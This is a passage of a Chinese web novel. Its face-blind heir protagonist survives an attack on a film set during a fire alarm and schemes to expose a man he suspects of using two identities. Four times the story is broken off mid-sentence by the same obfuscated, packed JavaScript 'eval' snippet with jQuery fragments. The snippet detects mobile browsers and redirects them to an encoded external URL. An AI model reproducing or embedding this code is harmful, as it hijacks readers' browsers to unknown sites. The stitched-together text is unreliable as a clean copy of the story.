祁闲起身要走,又停下脚步,折返回来。
少年故作高深地拍拍还在死机状态的宋远之肩膀,在他耳边轻声道:“记得帮我保密啊宋导,要是有其他人知道我的身份……”
宋远之虎躯一震,并起四根手指发誓:“您放心,我绝对只字不提!”
祁闲满意点头,他拿着自己的那份演艺合同,走出小房间。
“威胁人倒是很熟练嘛。”
宁海尘正双手抱胸,靠在墙边,俨然把祁闲和导演的对话听得一清二楚。
“忘了还有你呢。”祁闲绷起脸,食指点着宁海尘胸口,盯着他双眼严肃警告,“不许暴露我真实身份,听到没?”
宁海尘勾唇,故作思索:“如果我答应,有什么好处吗?”
祁闲想了想:“那我就……允许你送我回家。”
宁海尘挑眉:“今晚?”
祁闲点头:“嗯,今晚。”
宁海尘弯起眉眼:“说定了,到时候别赖账。”
“我才不是那种耍无赖的人。”祁闲撇嘴,小声嘟囔,“倒是你,最好说话算话,我最讨厌别人骗我了。”
宁海尘故意追问:“哦?如果我骗了你呢?”
祁闲装出凶巴巴的样子,恶狠狠地道:“那你就等死吧。本首富会动用整个燕市的势力,让你再无立足之地,从今以后,你只能夹着尾巴在我面前做小伏低,当牛做马!”
宁海尘配合地举起双手做投向状:“好好,为了保住自己的小命,我肯定守口如瓶。”
“这还差不多。”祁闲满意了。
因为朱屿潇被退货,剧组需要重新敲定男一号,祁闲的大量戏份被排到前面拍。他回到拍摄场地,原本在讨论的众人齐齐闭嘴噤声,看向祁闲的眼神藏满探究和敬佩。
朱屿潇也算是当红流量了,能让资方一怒之下,在开拍当天换人,得是何等背景?
祁闲懒得解释,他巴不得从今以后大家能吃点教训,别再横冲直撞地欺负他。
他没想骑在大家头上当太上皇,但谁也别想把他踩在脚底做孙子。
今天对《念如潮汐》的剧组人员们而言,是哪儿哪儿都诡异至极的一天。
助理临时抓了个溜达的摄影当男三号,这位看起来单纯老实的小王在片场硬怼当红流量朱屿潇,在化妆间和投资方举止亲密,使朱屿潇被当场退货,更让他们脾气火爆的导演宋远之尽显舔狗本色。
从来都是贯彻落实“能演给我好好演,不能演就尽早滚蛋”的宋导,每场戏都拆开了掰碎了给小王讲要怎么演,无论小王演成什么样,一定率先带头鼓掌叫好。
小王没助理,宋导就亲自担任贴身助理,嘘寒问暖,体贴至极。
不知道的还以为在照顾自己儿子呢!
倘若宋远之得知他们作何感想,肯定会挨个赏几个大脑瓜崩子——什么儿子,明明是他祖宗!
趁着中场休息,陈芸悠欲言又止,终是悄悄问了出来:“小王,你和宋导之间到底怎么回事啊?他今天好奇怪。”
祁闲摸着下巴思索:“可能是宋导年纪到了,突然意识到经常发火容易高血压吧。”
祁闲一直拍到傍晚,原本按照大计划他还有夜戏,需要熬到凌晨两三点,但宋远之哪敢啊,老板是来微服私访的,他捞人干活本就犯了大错,要再把老板按头拍到凌晨,身体熬坏了,他罄竹难书啊!
相较于摄影工作,演戏的活动量还算轻松,祁闲坐在小凳子上啃着宋远之给他润嗓子的梨,发短信告诉宁海尘他拍完了。
宁海尘:【稍微一等,我开车过来。】
正好,祁闲趁机联系白遥,把今天发生的种种和盘托出。
白遥:【行啊你,摇身一变进军娱乐圈了!祁老板,帮我弄张我担的签名照呗?】
祁闲:【明儿我去问。趁现在宁海尘还没来,你帮我想想,我得怎么验证他身份才好?要靠谱的。】
白遥:【等着,我帮你想办法!】
五分钟后,白遥发来了一份《钓鱼执法之调查宁海尘真实身份企划书》。
祁闲打开,整整16页ppt闪瞎了他的眼。
祁闲:【???】
祁闲感激涕零:【姐!你是我唯一的姐!】
白遥:【姐只能帮你到这儿了,勇敢地去追寻真相吧,少年!】
白遥:【对了,要是真发现宁海尘和闻洄舟是同一个人,你打算怎么办?】
祁闲:【当然是狠狠收拾他了,我最最最讨厌利用我脸盲故意欺骗我的人,现在爷可是首富,自然有无数雷霆手段!我要让他知道,什么叫做暴君!】
祁闲两只拇指打字飞快,正要分门别类地阐述他的残忍惩罚,突然嗅到一丝烧焦糊味,蛋白质燃烧的臭气刺鼻。
他抬起头,抽了抽鼻子,疑惑道:“什么东西烧了吗?”
回答他的,是烟雾报警器刺耳的尖鸣。
“着火了?”
“好像是隔壁组烧起来了,快走快走!”
剧组顷刻变得骚乱,先前有过其它剧组发生火灾,闹出人命的前车之鉴,众人怎敢轻视,当即拿上重要的随身物品往外跑。
祁闲也是其中之一。
他跟着人群疏散,被挤到墙边。
路过敞着门的道具间,突然有一双手伸出来,猝不及防地把他拉进漆黑房间!
在那双手碰倒他的瞬间,祁闲脊背升起一股悚然寒意,全身的寒毛倒立,他当即大喊出声,却淹没在众人吵嚷和火警锐鸣中。
被拽进道具房,本能让祁闲蹲下就地一滚,躲过了随后要锁住他喉咙的攻击!
糟了,是冲他来的!
故意引发火警,让现场骚乱,再趁机对他下手……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314548|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个人,很可能就是害死沈柏霆的幕后真凶!
翻滚中祁闲碰倒了那人的脚,突然从明亮进入到黑暗环境,双眼需要缓慢适应。
好在常年脸盲让祁闲的嗅觉和听觉都格外敏锐,他闻到那人身上的沉年烟味以及浓郁的铁锈味,令人作呕的臭气如同一座闪着猩红光芒的灯塔,告诉祁闲袭击者的准确方位。
祁闲抓起手边的箱子,狠狠砸向袭击者的小腿!
这一下他使出吃奶的劲,嘭的撞击声响伴随着嘶哑痛呼,祁闲瞅准时机手脚并用地爬起来,冲出道具间!
得赶紧逃去人多的地方才行!
烟雾报警器仍然响着,剧组的人都跑干净了,硕大片场只剩下祁闲一人,祁闲不敢贸然向前,谁知道那人会不会有同伙在转角潜伏!
祁闲匆匆环视一周,钻进服装间,躲在衣架后面,用衣服遮住自己。
这时,他发现自己手上有血。
可他压根就没受伤,也就意味着,血是凶手的?
祁闲脑海中很快浮现出一种猜测:凶手本身就受了伤,可能临时躲在道具间,为了脱身,想要抓他当做人质?又或者本来是打算对他下手的,结果在抓到他之前,意外受伤了。
他没机会继续细想,因为踉跄的脚步追到了外面,于走廊上危险地徘徊。
祁闲一颗心在胸腔中咚咚狂跳,他捂住口鼻,以免呼吸声暴露位置。
别慌,有陆峰在,陈放为他找来的保镖可不是吃素的。
祁闲安慰着自己,支起耳朵,听到一瘸一拐的脚步走远。
呼……祁闲松了口气,他用最轻缓的动作摸口袋里的手机,想摇陆峰来救他。
但随即,服装间的门被猛然推开,有人走了进来。
祁闲浑身僵住,他咬紧下唇,心再度提到嗓子眼。
翻箱倒柜的声响,对方在找他,他蹲在这里藏着,一旦暴露,必定落入被动。
唯一的胜算,是主动出击。
祁闲抓起撑衣杆,屏息凝神,瞄准翻找声的方位,以迅雷不及掩耳盗铃之势戳出!
但下一瞬,他感觉到了强横的阻力——撑衣杆被抓住了!
对方力气极大,祁闲来不及松手,头上顶着件火红连衣裙,猛地被拽过去。
在因惯性扑进那人怀里之前,祁闲赶忙脚刹止住冲势,眼前之人腿脚便利,身上也没有烟味,并非在道具间里偷袭他的凶手。
“别怕,是我!”
对方举起双手,表明两手空空,尽量让祁闲冷静下来。
但祁闲神经紧绷着,在大脑识别出声纹身份之前,迅速安检般将这人摸了一遍,确定是否携带其他凶器——等等,你外套口袋里放的是啥!
金属物件的质感让祁闲警铃大作,他当即把手伸进口袋,金属的冰凉使指尖瑟缩。
祁闲猛然把它拽出来,仿佛捏着的是一条咬人的毒蛇。男人见口袋里的东西被掏,近乎惊慌地去握祁闲手腕,想要阻止。
但少年还是更快一步,将它握在掌心。
小指粗细的金属链子拴着蚌壳状挂坠,怎么看怎么眼熟。
祁闲眉头紧皱,盯了足足三秒,才想起来究竟是在哪儿见过。
他震惊地瞪大双眼,抬头去看一手投降,一手想要抢吊坠的男人。
“沈柏沅?你怎么会在这里!”
20.第 20 章
沈柏沅怔住,唇角抽动了下,以他的潇洒随性和伶牙俐齿,竟然磕巴了。
“额,我……”
他徒劳无功地还攥着祁闲的手腕,但很显然,拿回项链也已经没有意义了。
“嗯?”
沈柏沅的异常让祁闲有些疑惑,他顺着青年的视线看向掌心,干脆把项链塞回他手里:“干嘛,我又没想抢你的东西。”
沈柏沅把项链放回口袋,他刚想说些什么,少年却盯着门口,紧张地扯着他衣袖,把他拽到角落蹲下,在拉过衣服架子挡住。
“嘘,有人要袭击我,咱们赶紧先躲起来。”
沈柏沅配合地蹲在他旁边。
祁闲凝神细听外面的动静,同时,视线不受控制地飘到沈柏沅身上。
他对自己这位小叔子最深的印象,就是那吊儿郎当欠揍的语调,和胡椒似的辛辣香调。
但今天沈柏沅好像没用香薰,祁闲只能通过他随身佩戴的吊坠,辨认出身份了。
外面只有烟雾报警器的鸣叫声,祁闲蹲的腿都有些麻了,他悄悄挪动姿势,让血流顺畅些,又有些走神。
这里可是片场,沈柏沅怎么会突然出现呢?
别说他也是什么狗屁资方,他看过沈柏沅的资料,这人现在还是个大学生呢,因为沈柏霆突然去世,才连夜从大洋彼岸赶回来的。
待会儿得好好问问他。
祁闲听了半天,就连烟雾报警器的鸣叫都停住了。那个人应该走了吧。
少年朝沈柏沅打了个手势,他悄悄站起来,谨慎地凑到门口,小心翼翼探头朝外看。
“别怕,我来的时候看到你保镖去追了,那个人腿受了伤,跑不远的。”
沈柏沅在祁闲身后道。
果然,陆峰还是靠谱的。
祁闲放松下来,一屁股坐在地上。
刚才的几番操作搞得他浑身冷汗,差一点,就差一点,他就要随沈柏霆而去了。
心跳平静下来,祁闲重新看向沈柏沅,再次问道:“你怎么会在这里?”
沈柏沅恢复了他的吊儿郎当,调笑道:“当然是和嫂子心有灵犀喽。”
祁闲无语,翻了个白眼:“……我就不该期待能从你嘴里听到什么有用的话。”
“嫂子这么说我可就要伤心了……”
沈柏沅嘴上跑着火车,祁闲突然毫无征兆地爬起来,一把薅住他衣领。
少年目露寒光,紧盯沈柏沅双眸,凶巴巴地质问:
“是你们沈家人动的手吧?你们早就知道我会来这里,故意引发火警设套。”
如果祁闲别为了和沈柏沅保持平视而踮着脚,可能会更有压迫感。
沈柏沅赶紧再度举起双手:“冤枉啊!我发誓,这事和我一点关系都没有!”
祁闲冷哼:“骗子。”
沈柏沅叹气:“好吧,我只是听说有人在密谋,担心你的情况,又没有你的联系方式,只能亲自过来提醒你……疼疼疼!轻点,要把我勒死了!”
祁闲稍稍松了些力道,让沈柏沅得以呼吸,继续把重要内容说下去。
沈柏沅低低咳嗽两声,真诚提议:“嫂子,要不咱俩加个联系方式?下次我好第一时间向你汇报情况。”
祁闲笑了:“你这要联系方式的办法也太低劣了,我才没那么好骗。”
少年说着,拽着沈柏沅的衣领,开始朝外面走。
沈柏沅比他高一个头,弯着腰配合祁闲的行动,还问道:“咱去哪儿?”
祁闲:“派出所。”
“那可不行!”沈柏沅攥住祁闲腕子,迅速把他的五指掰开,拔腿就跑,“我还有急事要处理就先走一步拜拜嫂子咱们下次有缘再见!”
“哎!”祁闲伸手去抓,指尖堪堪擦过沈柏沅的外套,扑了个空。
就这一眨眼的功夫,沈柏沅已经跑出去数米远,祁闲大喊着“站住”,快步去追。
“别跑!”
祁闲越这样喊,沈柏沅就越跑的比兔子还快,转过前方拐角,祁闲就失去了目标。
只看到沈柏沅的外套仍在地上。
可恶,去哪儿了?
祁闲四处看了看,找不到人,他忿忿地咬了下唇,匆忙捡起外套,朝片场外跑。
他拿着沈柏沅的衣服,冲出内棚。
众多避险火警的剧组人员正站在外面,等待保安确认片场情况。
在高矮胖瘦服装各异的身影里,祁闲一眼就发现了目标。
哈,找到了,我看你往哪儿藏!
祁闲唇角勾起一抹得意地笑,直冲过去!
沈柏沅似乎也发现逃不掉了,站在原地,甚至还朝他张开双臂——
受死吧!
祁闲正准备飞起一脚,沈柏沅却一把将他搂在怀里,掌心贴着他气到发烫的面颊,急切问道:“没事吧!”
还装!都被他抓到了,还装什么大尾巴狼呢!
祁闲恼怒,他双手掐住男人脖子,用力摇晃:“还问,还和我装?给我告诉沈家人,有种正面刚,别搞这些阴的!”
祁闲晃啊晃啊,一丝清爽的海风气息也摇晃着,飘入他鼻畔。
等等。海盐味。
沈柏沅什么时候成海盐味的了?
祁闲愣愣地松开手,试探着问:
“……宁海尘?”
宁海尘捂着脖子,艰难咳嗽两声当做回应。
祁闲:“………………”
怎么会突然变成宁海尘啊!他这么大一个沈柏沅呢!
“小没良心的,你这差点把我掐死。”
男人勉强缓过来,危险地眯起眼,“什么沈家人,你刚才把我认成谁了?”
祁闲:“额……”
他心虚地后退两步:“没、没有啊,你就是你,颜色不一样的烟火,我怎么会认错呢?”
少年眼神游移,原本气势汹汹的质问变为底气尽失,心虚得只要是个明眼人都能看出有问题。
“果然就是认错了吧。”宁海尘冷笑,“到底哪个男人让你挂念成这样?”
“我抓了个沈家人!”祁闲见势不妙,只能凑到宁海尘耳边,用只有他俩能听到的音量急切解释,“很可能是突然响火警的罪魁祸首,但被他给跑了。”
少年一手攀着宁海尘肩膀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14324022|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,在他耳边轻语,男人的手虚虚揽在他腰间,似乎是防止少年摔倒,又像是宣誓主权,将他扣在怀中。
这姿势落入任何一个人眼中,都是格外亲密。
宋远之正着急忙慌的寻找着祁闲身影,祁总专门隐藏身份过来的,片场出现警情,他肯定要第一时间确定祁总的安危。
想着祁闲好像和陈芸悠关系不错,宋远之冲到陈芸悠身边,焦急问道:“悠悠,你看见祁……不是,王珩了吗?”
“在哪儿呢。”陈芸悠指了指侧旁,小声道,“不过宋导,我劝您先别去找他。”
宋远之看向陈芸悠手指的方向,心急如焚的导演沉默了,他绝望地抬手扶额,直觉自己是一阵冷一阵热,干脆手掌再向下,遮住眼睛。
妈呀,沈总的老婆真的在和资方爸爸偷情。
面对祁闲的辩解,宁海尘轻笑一声,搂在祁闲腰间的手猛地收紧,让少年跌撞着靠在他怀里:“骗人,哪个沈家人能让你把他认成我?”
祁闲:“……”
有种百口莫辩的无力感呢。
他还不想对宁海尘坦白,自己脸盲。
对了,他还有衣服呢!
祁闲赶紧抬起手,把外套给宁海尘看:“真的,我没骗你,你看,这就是他逃跑的时候脱下来的衣服,他穿着……”
祁闲说到一半,卡壳了。
重度脸盲的症状包括难以识别物体归属,短短几分钟过去,他已经完全忘记了沈柏沅的穿搭,只记得是外套和长裤。
他只能掏了掏外套的口袋。
空的,啥也没有,之前摸到的蚌壳吊坠应该是被沈柏沅贴身带走了。
盯着宁海尘越来越认为他没良心的目光,祁闲用出最后的手段,把脸埋进外套里使劲儿闻:“我真没骗你!这个人叫沈柏沅,是沈柏霆的堂弟,我第一次见他是在沈柏霆的葬礼上,他用的香水是胡椒的味道,你闻闻!咦?怎么有股海盐味儿……”
祁闲话还没说完,外套就被抢走了。
宁海尘拿着外套,认真闻嗅,男人眉头微皱,若有所思道:“似乎还真有点胡椒味。”
祁闲一愣:“啊?”
可他闻着,怎么就没有呢?
少年茫然地眨眨眼,最终决定放过自己。
宁海尘本就不相信有沈柏沅存在,现在都承认有胡椒味了,肯定保真,应该是他太紧张,鼻子都出错了。
确定有沈家人来过,宁海尘对祁闲错认他的愠怒慢慢散去,严肃问道:“我不认识沈柏霆的这位堂弟,你还记得他长相吗?我让人去查。”
好问题,该死地问到他盲点上了。
祁闲硬着头皮瞎编:“身形和你很像,不然我也不会认错了。”
等他反应过来这句话又踩雷之后,已经说完了。
“借口。”
果不其然,宁海尘又有点生气了。
他捏住祁闲的脸颊软肉,教训般扯了扯,认真凝视少年双眸,再视线下移,紧盯着那因为之前紧张抿着,而水润润的唇:
“果然我给你留下的印象还不够深刻,至少,得让你能准确把我认出来才行。”
21.第 21 章
祁闲赶紧拍开宁海尘的手,护住自己的腮帮肉,揉了揉,小声嘟囔:“没可能了,下辈子吧。”
宁海尘眯眼:“什么?”
祁闲连连摇头:“没啥,你听错了。”
宁海尘又要开口,手机铃声解救了祁闲,他赶紧接通,差点被听筒里陆峰中气十足地嗓门震聋:
“少爷,袭击您的凶手我抓到了!”
“好好好。”祁闲压低声音,捂着话筒道,“给我使劲审!把幕后使者问出来!”
陆峰:“是!您现在安全吗?”
祁闲抬眸看了眼面前的宁海尘,男人的手还霸道搂在自己腰间,仿佛只要他说出什么惹人不高兴的话语,就会掐他腰间的软肉:
“姑且算是安全吧。”
陆峰松了口气:“那就好。”
但祁闲打算问个清楚:“陆峰啊,我遇袭的第一时间你怎么没出现?连沈……连一个无关紧要的人都比你更快找到我。”
“啊?这……”陆峰语塞,显然在电话那头汗流浃背了。
果然猜中了!
祁闲顺势继续追问:“是不是沈柏沅提前遇到了你,让你去追凶手,他来找我?”
电话那头有片刻沉默。
陆峰:“少爷——”
祁闲:“我明白了,你不用说了。”
陆峰急切:“少爷您要相信,我是绝对不会害您的!”
祁闲:“嗯,你不要多想,我就是随口一问。”
少年挂断电话,咬住食指沉思。
沈柏沅一个沈家人,凭什么能使唤陈放为他找来的保镖呢?
而且,还第一时间就找到了他藏身的位置。
重点是他到底逃到哪里去了啊!自己就在沈柏沅屁股后面追着,转眼间就不见了,总不可能遁地飞天了吧!
他被拽进小黑屋的时候,嗅到了凶手身上的血腥味,凶手显然已经受了伤。
而沈柏沅莫名其妙出现在片场,又见到陆峰指出凶手,还找到了躲藏在衣帽间的自己。
难道说,是沈柏沅提前发现了凶手,和他1v1男人大战,将其击败,为了防止凶□□急跳墙伤害更多人,才故意引发火警,让大家离开片场的?
好像还挺顺的,会是真相吗?
想的头都要痛了。
眼前少年兀自陷入莫名的沉思,宁海尘手臂用力一搂,祁闲再度踉跄着靠在他怀里。
祁闲惊慌抬头,唇差点擦过宁海尘的下巴。
片场暖和,众人急着逃脱火警,都没来得及穿外套,祁闲也是一样,少年只着白衣黑裤,衬衣的布料单薄,勾勒出少年纤瘦的身形,也正随着晚风轻轻摆动。
宁海尘将沈柏沅的外套披在祁闲肩头:“今晚还有你的戏份吗?”
“按理来说没有了,但有可能会补拍什么的。”
祁闲低头看了眼外套,总感觉好像哪里怪怪的,他在人群中寻找宋远之的身影,好在导演满是口袋的墨绿色马甲实在显眼,很快让脸盲的他锁定了目标。
祁闲踮起脚,朝着宋远之用力挥了挥手。
表面上说着“不能看会被沉湖”,实际上一直在用眼角余光窥探的导演发现他的召唤,连忙跑过来,小声道:“祁总,您找我?”
“今晚还有要忙的吗?”祁闲问。
“按照大计划……”宋远之说着,目光看向宁海尘。
男人刚戴上黑色口罩,大半张脸都被遮住,脸上的表情似乎是含着笑,可漆黑眸中只能读出毛骨悚然的冷意。
宋远之浑身一机灵,赶忙回答道:“没了没了,这不是刚报的火警,保安估计还要检查一段时间,您先回去吧。”
“那好。”祁闲点头,能提前下班,他当然不会主动要求待着,少年弯起眼眸,“那我就回家啦,明天见。”
似乎是不悦祁闲对着宋远之笑,宁海尘的一只手又摸到少年脸上,捏捏他两颊。
干什么。祁闲啪的一声把他的咸猪手拍开,回头瞪了宁海尘一眼,迈步朝停车场走。
“我送你回去。”宁海尘跟在祁闲身后。
祁闲:“真的?”
宁海尘:“真的。”
祁闲想到白遥支援他的ppt,宁海尘主动要求送他回家,是个不错的实践机会!
少年佯装勉为其难同意的样子,从鼻腔中挤出一声闷闷的嗯:“那好吧,看在你是合作伙伴的份上,给你这个机会。”
于是众目睽睽之下,资方爸爸亲自打开车门,名不见经传的漂亮少年满脸不情愿,坐上豪车。
还是副驾驶。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341703|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是要直接带回去过夜了?
几个演员脸上浮现出或是嫉妒,或是鄙夷的神色,更多人则见怪不怪。
只有唯一知晓祁闲真正身份的宋远之,抬手擦了把额头上的汗。
这……这沈总坟头的草,可是真绿啊!
车门关上,将外面的吵闹彻底隔绝。
祁闲摊在舒适的皮质座椅上,总算全身心地放松下来,被袭击的惊惧和认错人的窘迫散去,肾上腺素的消退让一整天的疲惫涌上来。
接下来,是要趁着宁海尘送他回华业东方的机会,直接把人拐到家里去。
祁闲一直都怀疑宁海尘和闻洄舟是同一个人,虽说两次试探都失败了,但直觉告诉祁闲,他有可能是被骗过去了。
正如白遥ppt上出的主意,除非他能把宁海尘带到闻洄舟面前,他们同时出现在他面前,才能证明他们是两个人。
行动开始!
“要把我安全送回家哦。”
祁闲哈欠连天,眼角泛出生理性的泪花,蛄蛹着选了个舒服的姿势,闭上双眼。
“把安全带系上。”宁海尘提醒。
回答他的,是少年平稳悠长的呼吸。
宁海尘扭头看去,祁闲靠在椅背上,脑袋歪向他的方向,俨然已经睡着了。
少年乌黑的眼睫低垂,末端扬起微卷的弧度,如同随着呼吸轻颤薄翼的蝶,在脸颊洒下一小片阴影,从山根到鼻头的线条干净秀气,浅粉色的唇峰微翘,路灯暖黄色的光晕里,宁海尘能清楚看到他颊边细小的绒毛。
他伸出手,指尖在距离祁闲脸颊只剩半厘米处停住。
祁闲似毫无察觉地睡着,仿佛对他做什么都会全盘接受,但只有他才知道,自己就快要紧张地屏住呼吸。
装睡也太难了吧!
企划书的第一步,是在宁海尘的车上装睡。
但祁闲忽视了这一行为可能带来的危险。
——可不要对我做乱七八糟的事情啊!!!
少年脑海中浮现出杂乱的想法,突然,他唇上微凉。
宁海尘的指腹,按住了他的唇瓣,仿佛想要朝内探寻般,轻轻去压,于是一抹湿润染上男人指尖。
接下来,他只需要俯下身,就能用唇舌探入其中。
22.第 22 章
——救命啊!不要对我做奇怪的事!
兀地,宁海尘低笑一声,男人仿佛听到了祁闲心中惊恐的哀嚎,终究打消了主意,他松开手,探身帮祁闲系上安全带。
发动机启动,迅速转为沉闷的白噪音。
祁闲暗暗松了口气,他悄悄将眼睛眯开一条缝,宁海尘正在专注开车。
行驶过程中的轻微摇晃如同摇篮,又像是小船飘在海面上,随着潮汐起伏晃动。
祁闲听到模糊喊声,来自遥不可及的远方,来自触目难寻之处,他揉着眼睛坐起身,一只手搭在船沿,溅起的海水迸在指尖,冰凉。
沙滩上的身影朝祁闲用力挥手,三两下蹬掉鞋子,赤脚跑进海水,浪花卷着白色泡沫打湿他的脚面,淹没小腿。
终于,他跑到船边,兴奋地扒着边沿,朝祁闲张开紧紧攥着的右手:“老大,看。”
一颗珍珠躺在伤痕累累的掌心。
祁闲讶然:“哪儿弄的?”
“捞了个蚌,里面恰好有珍珠,给你。”小心翼翼讨好的笑容模糊在雾气中。
祁闲收下了这份意外得来的礼物。
少年手脚并用地爬上木船,小舟偏沉,大幅度摇晃着,祁闲将重心转移到对侧,以免翻倒,少年腿脚上的海水溅祁闲身上,又是让人瑟缩的凉意。
他们并肩躺下,望着铅灰色的天空,鼻畔是海风湿咸的气息,身旁年轻躯体时刻散发着热度,祁闲阖上眼,他能听见海浪翻涌的哗啦,在这之下,还有更难以捉摸的呼唤。
“老大。”少年用手肘支起身,他眼巴巴盯着祁闲,用力咬着苍白的唇,欲言又止。
祁闲抬了抬沉重的眼皮,深海之中,确实有东西把他攫住了:“嗯?”
“我想……”
“有话直说。”
少年沉默,许久,他似终于鼓足勇气,俯下身。
一个冰凉的,海盐味的吻,落在祁闲唇角。
所有声音消失,仿佛深陷沼泽,淤泥糊住双耳。
直到兜头淋下的海水冲刷走污垢,祁闲品尝到腥甜的铁锈味,鲜血如注顺着面颊流下。头痛欲裂,变形的铁棍被扔在甲板上。撕心裂肺的哭声中,祁闲拼命睁开双眼。
同样满是血迹的面庞,被泪冲刷出一道道水痕,少年将下唇咬得血肉模糊。
他被少年推下甲板,摔进刺骨海面,在意识最终涣散之时,祁闲张开嘴,咸涩的海水涌入口中,他也终于喊出了那个名字——
“醒醒!”
祁闲艰难地睁开双眼,思绪回笼,身体重新感知周围环境:柔软的皮质座椅,温暖的车内空间,还有宁海尘身上海盐风味的香水。
“做噩梦了?”宁海尘伸出手,擦了下祁闲眼角,些微湿润温热。
祁闲摇头,又点头。
他抬手摸向自己脑袋,指尖穿过柔软发根,碰到从头顶一直蜿蜒到后脑的狰狞疤痕。
十六岁那年,他从长达七个月的昏迷中醒来,脑袋上就多了这道疤。
祁闲不记得这疤因何而来,一同失去的,还有他从八岁到十六岁之间的全部记忆。
刚才的梦,会和他遗失的过去有关吗?
幻痛正逐渐消退,祁闲突然打开副驾驶的储物盒,翻箱倒柜地寻找纸笔。
可梦境如流沙,在祁闲攥紧之前,就从记忆的指缝中流走了。
只记得他和另一个人躺在小船上,随着海浪飘荡。
“要找什么?”宁海尘抓住祁闲手腕,以防他被异物划到。
“纸和笔。”祁闲缓慢停下动作,他愣愣盯着车前的鲸鱼摆件看了数秒,闭上眼,长长地吐出口气,“算了,已经不记得了。”
祁闲对记忆不存执念,一直都看得很开,他伤得脑袋都要被开瓢,还落下脸盲的毛病,用脚指头都能猜到与之相关的回忆应该挺糟,忘了也就忘了吧。
祁闲收拾好心情,望向窗外:“到了吗?”
宁海尘:“没呢,你连地址都没告诉我,我停在路边了。”
祁闲:“我还以为你知道沈柏霆住址呢。”
宁海尘:“他房产那么多,我倒想他把你金屋藏娇在哪儿。”
可恶,宁海尘竟然没上当。
祁闲故意上了车就装睡,不告诉宁海尘住址,如果宁海尘是闻洄舟,肯定会直奔华业东方,被他抓到把柄。
“华业东方。”祁闲打起精神,他还有后续计划,“你喜欢吃什么?”
宁海尘讶然扭头看了他一眼,笑道:“怎么,要请我吃晚饭?”
“对啊。”祁闲拨打闻洄舟的电话,“我让管家准备。”
宁海尘神情一僵,立刻按下祁闲手机:“不用,太麻烦了。”
祁闲把他的手推开:“怎么能叫麻烦呢?你今天可是帮过我忙,别客气。”
宁海尘伸过去继续夺祁闲手机:“不不不,我把你送到家门口就够了。”
祁闲:“不不不,必须来家里吃饭。”
宁海尘:“真不用,我今晚还有事。”
祁闲:“你瞧瞧你,有什么事儿比我更重要?”
两人你来我往,拉扯几个来回。
宁海尘的紧张不像装的,祁闲看在眼中,内心窃笑:总算被我抓到猫腻了吧!
手机嘟嘟响着,在通话自动挂断之前,闻洄舟终于接了。
宁海尘:“哎哎——”
祁闲难得反应迅速,抓着宁海尘试图阻拦的手,坐在屁股底下压住。
大腿和臀肉挤着手背,宁海尘仿佛被封印,保持着倾身抢夺的姿势,石化原地。
祁闲清了清喉咙,故意大声问:“闻管家,我要请朋友来家里吃饭,你多准备点好东西招待客人。”
闻洄舟:“好的少爷,客人有忌口吗?”
祁闲捂住听筒,问宁海尘:“你有忌口吗?”
宁海尘从牙缝里挤出音节:“没。”
“他啥都能吃,你做点丰盛的,人家头一回过来,得彰显咱得待客之道。对了,闻管家,”祁闲唇角勾起森森笑意,“我怎么听着你声音有点闷?”
当电话那头出现迟疑时,祁闲就知道,自己已经赢了一半。
足足过了两秒,闻洄舟才回答道:“鼻炎犯了,少爷您听着很明显吗?”
祁闲:“是有点。我还在路上先挂了,很快到家。”
祁闲点击屏幕,笑眯眯地结束通话。
宁海尘的手还压在他屁股底下,都已经被他坐得出汗了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347262|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祁闲抬起身子,宁海尘罪恶的双手得以解放,被他重新摆放在方向盘上。
“走吧,华业东方。”
接下来的半段路,除了祁闲轻哼的小曲儿,车里堪称寂静。
宁海尘把十二缸豪车开得比电动车还慢,任凭后车再怎么按喇叭都龟速前行,摆明了想要拖延时间。
他越这样,祁闲就越兴奋。
宁海尘和闻洄舟,绝对有问题!
祁闲挨个按过手指关节,发出咔吧咔吧的脆响,提前进行热身运动。
甭管宁海尘再抗拒,他终究还是载着祁闲停在了别墅门口。
祁闲解开安全带下车,宁海尘却稳如泰山坐在驾驶座:“我还有事,就不进去了。”
